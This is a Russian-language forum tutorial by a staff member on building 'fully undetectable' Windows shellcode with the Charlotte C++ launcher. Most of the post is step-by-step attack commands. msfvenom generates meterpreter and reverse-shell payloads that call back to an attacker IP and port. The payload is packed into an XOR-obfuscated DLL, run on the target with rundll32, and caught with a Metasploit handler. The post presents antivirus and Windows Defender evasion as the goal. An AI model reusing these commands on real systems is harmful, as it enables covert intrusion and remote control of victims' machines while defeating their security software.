Vander
Staff member
- Nov 10, 2019
- 468
- 1,158
Приветствую, уважаемую аудиторию форума.
В этой статье разберем метод создания FUD шеллкода под Windows платформу.
Для начала, немного теории:
- FUD - Fully Undetectable - Способ сокрытия потенциально вредоносных функций кода, путем обфускации, для уменьшения/исключения количества случаев определения кода антивирусными решениями, как вредоносного.
- Shellcode - это двоичный исполняемый код, который обычно передаёт управление командному процессору, например '/bin/sh' в Unix shell, 'command.com' в MS-DOS и 'cmd.exe' в операционных системах Microsoft Windows. Шелл-код может быть использован как полезная нагрузка эксплойта, обеспечивающая взломщику доступ к командной оболочке (англ. shell) в компьютерной системе.
Charlotte - C++ Fully Undetected Shellcode Launcher
Description:
- Средство запуска шелл-кода c ++, полностью необнаруженное 0/26 по состоянию на 13 мая 2021 г.
- Динамический вызов функций api win32
- XOR-шифрование шелл-кода и имен функций
- Рандомизированные ключи XOR и переменные за запуск
- Требования для Kali Linux просто «apt-get install mingw-w64 *»
- Рандомизация длины случайных строк и ключей XOR
Code:
git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64*
Code:
cd charlotte
Code:
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin
Code:
python charlotte.py
Такой вывод, должен вас ждать в случае успешного создания dll файла для запуска его на целевом хосте.
Code:
rundll32 charlotte.dll, STmdDoaQ
STmdDoaQ -В данном случае выступает ключом, с которым мы позже запустим dll на целевом хосте.
Запускаем обработчик входящих подключений на атакующем хосте:
Code:
msfconsole
use exploit/multi/handler
set LHOST {IP}
set LPORT {port}
Code:
rundll32 charlotte.dll, STmdDoaQ
Попробуем немного видоизменить полезную нагрузку:
Code:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.101 LPORT=4444 -f raw > beacon.bin
- Метод и инструмент достаточно хорош, dll файл не распознается как вредоносный ни антивирусом ни Windows Defender
- Использование стандартных полезных нагрузок не сработает, в случае наличия вменяемого антивирусного решения на целевом хосте
- Нужно использовать отличные от предлагаемых стандартных методов сокрытия полезной нагрузки для достижения желаемого результата.
Спасибо за внимание, материал подготовлен специально для protey.net